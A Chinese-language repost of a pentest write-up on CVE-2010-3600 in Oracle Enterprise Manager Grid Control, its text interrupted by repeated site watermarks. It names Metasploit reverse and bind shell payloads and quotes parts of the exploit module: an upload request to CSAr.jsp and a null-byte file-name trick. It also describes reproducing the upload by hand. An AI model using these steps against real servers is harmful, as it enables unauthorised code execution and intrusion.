当前位置:主页 > 资料 >

Oracle Enterprise Manager Grid Control JSP代码执行漏洞(
栏目分类:资料   发布日期:2018-08-03   浏览次数:

导读:本文为去找网小编(www.7zhao.net)为您推荐的Oracle Enterprise Manager Grid Control JSP代码执行漏洞(CVE-2010-3600),希望对您有所帮助,谢谢! 01 Oracle Enterprise Manager Grid Control是可以监控和管理网格中

本文为去找网小编(www.7zhao.net)为您推荐的Oracle Enterprise Manager Grid Control JSP代码执行漏洞(CVE-2010-3600),希望对您有所帮助,谢谢! copyright www.7zhao.net



0×1

Oracle Enterprise Manager Grid Control是可以监控和管理网格中的Oracle数据库软件的工具。

本文来自去找www.7zhao.net

Oracle Enterprise Manager Grid Control在实现上存在安全漏洞,远程攻击者可利用此漏洞执行任意JSP代码。

欢迎访问www.7zhao.net

在上传XML文件时,通过未指定的POST参数发送到”Client System Analyzer”组件某些JSP脚本的输入在用于创建XML文件之前未正确过滤,通过在请求中提供空字节造成任意JSP代码执行。

去找(www.7zhao.net欢迎您

应用程序通过OCI的方式,访问数据库服务器,而OCI的访问模式,必须要安装Oracle Client。 copyright www.7zhao.net

参考链接: copyright www.7zhao.net

0×2

最近用绿盟扫描器扫到一个:

本文来自去找www.7zhao.net

host:

欢迎访问www.7zhao.net

访问存在漏洞的服务器: www.7zhao.net

去找(www.7zhao.net欢迎您

msf中search此exp: www.7zhao.net

使用此exp:

内容来自www.7zhao.net

www.7zhao.net

发现失败了 去找(www.7zhao.net欢迎您

show options查看一下payload:

www.7zhao.net

此处为payload为reverse_tcp反向连接。

www.7zhao.net

reverse_tcp反向连接(本机监听)//是服务器来连接攻击者,返回一个SHELL。
bind_tcp 正向连接 (目标监听) // 是攻击者主动连接服务器得到一个SHELL。
reverse_tcp 就是攻击者开启端口等待远程目标连接,bind_tcp 就是远程目标开启一个端口,等待攻击者连接,不用做端口映射。
 

本文来自去找www.7zhao.net

考虑此处是否由于正反向连接问题,所以换成bind_tcp正向连接:

欢迎访问www.7zhao.net

exp: www.7zhao.net

发现仍然失败 www.7zhao.net

查找此漏洞披露平台(此为SCAP中文社区),查看此exp代码:

本文来自去找www.7zhao.net

–ruby代码

www.7zhao.net

代码主体为:

欢迎访问www.7zhao.net

equire 'msf/core' 内容来自www.7zhao.net

class Metasploit3 < Msf::Exploit::Remote copyright www.7zhao.net

HttpFingerprint = { :pattern => [ /Oracle Containers for J2EE/ ] }

去找(www.7zhao.net欢迎您

include Msf::Exploit::Remote::HttpClient

本文来自去找www.7zhao.net

include Msf::Exploit::EXE 本文来自去找www.7zhao.net

include Msf::Exploit::WbemExec 去找(www.7zhao.net欢迎您

def initialize(info={})//对漏洞利用的说明 内容来自www.7zhao.net

……

去找(www.7zhao.net欢迎您

def on_new_session(client) www.7zhao.net

…… 本文来自去找www.7zhao.net

def upload_file(data) 内容来自www.7zhao.net

……

内容来自www.7zhao.net

def check 内容来自www.7zhao.net

…… 内容来自www.7zhao.net

def exploit//进行远程代码执行

本文来自去找www.7zhao.net

…… 欢迎访问www.7zhao.net

end

欢迎访问www.7zhao.net

其中核心函数为exploit函数

本文来自去找www.7zhao.net

发现其中关键函数upload_file:

欢迎访问www.7zhao.net

def upload_file(data)

res = send_request_cgi(

{

'uri'     => 'd/em/ecm/csa/v10103/CSAr.jsp',

'method'  => 'POST',

'data'    => data

})

return res

end

最后返回的是res,推测res为上传的文件,其中uri是上传的页面,方法为POST,数据为data

内容来自www.7zhao.net

先访问一下地址,查看是否存在该页面: 内容来自www.7zhao.net

去找(www.7zhao.net欢迎您

此处已判断该页面是一个可访问的空白页面

去找(www.7zhao.net欢迎您

继续查看代码,def check函数: 内容来自www.7zhao.net

data = "sessionID=#{file_name}.txt\x00.xml" 内容来自www.7zhao.net

data << "\x0d\x0a" www.7zhao.net

data << Rex::Text.uri_encode(file_contents) 去找(www.7zhao.net欢迎您

print_status("Uploading the CSA#{file_name}.txt file")

www.7zhao.net

res = upload_file(data) 去找(www.7zhao.net欢迎您

if not res or res.code != 200 or (res.body !~ /posted data was written to placeholder file/ and res.body !~ /csaPostStatus=0/)

print_error("The test file could not be uploaded") 欢迎访问www.7zhao.net

print_status("Checking uploaded contents...")

本文来自去找www.7zhao.net

res = send_request_raw({'uri' => "/em/CSA#{file_name}.txt"})

www.7zhao.net

若上传成功,上传后的地址为x.x.x.x:1158/em/CSAhack.txt

此处说明只有csaPostStatus=0的时候才上传成功。 欢迎访问www.7zhao.net

借助一下hackbar,此处构造的data数据:sessionID=hack.txt\x00.xml\x0d\x0ahack

copyright www.7zhao.net

发现页面返回csaPostStatus=5信息,根据代码说明只有csaPostStatus=0的时候才表示上传成功, www.7zhao.net

尝试一下转义:

欢迎访问www.7zhao.net

页面返回csaPostStatus=0,访问一下上传页面: 内容来自www.7zhao.net

空白页面,未成功 copyright www.7zhao.net

把/x换成%,再试一下:

内容来自www.7zhao.net

\xhh表示两位的十六进制
\x00======NULL
\x0d======回车
\x0a======\r
 
本文来自去找www.7zhao.net

重名报错了,说明上个步骤的hack.txt已经是上传成功了,换个名字试试: copyright www.7zhao.net

本文来自去找www.7zhao.net

然而页面还是访问不了-_- 本文来自去找www.7zhao.net

copyright www.7zhao.net

到这才发现,忽略了很重要的东西,传输的方法必须是post

内容来自www.7zhao.net

所以在bp中试一下,仍然需要将/x换成%: 欢迎访问www.7zhao.net

www.7zhao.net

再进行url的decode: 内容来自www.7zhao.net

内容来自www.7zhao.net

终于出来了flag,访问页面: www.7zhao.net

到这可以发现是已经上传成功了。

www.7zhao.net

0×3

Oracle Database Server 11.1.0.7和11.2.0.1版本,以及Enterprise Manager Grid Control 10.2.0.5版本的Client System Analyzer组件中存在未明漏洞。

www.7zhao.net

第一次投稿,请大家指正。 copyright www.7zhao.net

*本文原创作者:一只胖麻瓜biu,本文属FreeBuf原创奖励计划,未经许可禁止转载 copyright www.7zhao.net

内容来自www.7zhao.net


本文原文地址:http://www.freebuf.com/vuls/179276.html

以上为Oracle Enterprise Manager Grid Control JSP代码执行漏洞(CVE-2010-3600)文章的全部内容,若您也有好的文章,欢迎与我们分享! copyright www.7zhao.net

Copyright ©2008-2017去找网版权所有   皖ICP备12002049号-2 皖公网安备 34088102000435号   关于我们|联系我们| 免责声明|友情链接|网站地图|手机版